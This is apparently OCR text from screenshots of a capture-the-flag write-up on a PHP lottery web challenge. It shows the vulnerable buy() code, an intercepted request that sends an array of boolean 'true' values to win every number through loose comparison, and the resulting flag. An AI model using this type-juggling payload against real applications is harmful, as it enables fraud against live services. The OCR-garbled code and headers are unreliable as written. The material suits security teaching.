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Buy a lottery!

People are winning fabulous prizes every day. You could win up ta $5000000!

Rules

» Each starter has $20

s Pay $2, and select 7 numbers. Comparing with the winning number:
e 2 same numbers: you win $5

* 3 same numbers: you win $20

* 4 same numbers: you win $300

® 5 same numbers: you win $1800

s 6 same numbers: you win $200000

e 7 same numbers: you win $5000000
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Buy a lottery!

‘1111111 ‘ Buy!

Prize: 0

Winning numbers:

Your numbers:
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Lottery! Claim Your Prize

Notice: You are offered a huge discount!

All items

Flag

$9990000

On Sale
buy the flag if you can

Buy
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80 function buy($req){

81 require_registered();

82 require_min_money(2);

83

84 $money = $_SESSION[ 'money'];

85 $numbers = $req[ 'numbers'];

86 $win_numbers = random_win_nums();
87 $same_count = 0;

88 for($i=0; %$i<7; $i+){

80 | if($numbers[$i] = $win numbers|$i]){ |
90 $same_count++;

91 }

92 }

93 switch ($same_count) {

94 case 2:

95 $prize = 5;

096 break;

97 case 3:

98 $prize = 20;

99 break;

100 case 4!

101 $prize = 300;

102 break;

103 case 5:

104 $prize = 1800;
105 break;

106 case 6!

107 $prize = 200000;
108 break;

109 case 7:

110 $prize = 5000000;
111 break; e e
112 default: I r—f.’;f:-jl J r(—”.lr/:ur/::/[_F.l';ul_IJ
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Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

POST fapi.php HTTP/1.1 : HTTPA.1 200 OK

Host: 111.200.241.244.65240 Date: Sat, 26 Mar 2022 12:53:14 GMT
UserAgent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; nv:98.0) Gecko/20100101 Firefox/98.0 Server: Apache/2.4.25 (Debian)

Accept: applicationfjson, text/javascript, **; q=0.01 X-Powered-By: PHP/7 25

Accept-Language: zh-CN zh;q=0.8 zh-TW,q=0.7 ,zh-HIK;q=0.5 en-US;¢=0.3 en;q=0.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT
Accept-Encoding: gzip, deflate Cache-Control: no-store, no-cache, must-revalidate
Content-Type: application/json Pragma: no-cache

X-Requested-With: XMLHttpRequest Content-Length: 113

Content-Length: 63 Connection: close

Origin: http:#111.200.241.244:65240 Content-Type: application/json

Connection: close

Refersr: http://111.200.241.244:65240/buy. php {"status": “numbers”:[true true true true true true true],"win_numbers" “maney": 10200004 ,"prize":5000000}

Cookie: PHPSESSID=3ch9179811a3c0abb8344e8ab8c04229

{"action":"buy" "numbers":[true trus true true true true true)}
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Claim Your Prize

Here is your flag: cyberpeace{88cd9e2368d3dcb7c0a5d89e49248395}

All items

Flag

$9990000

On Sale
buy the flag if you can

Buy
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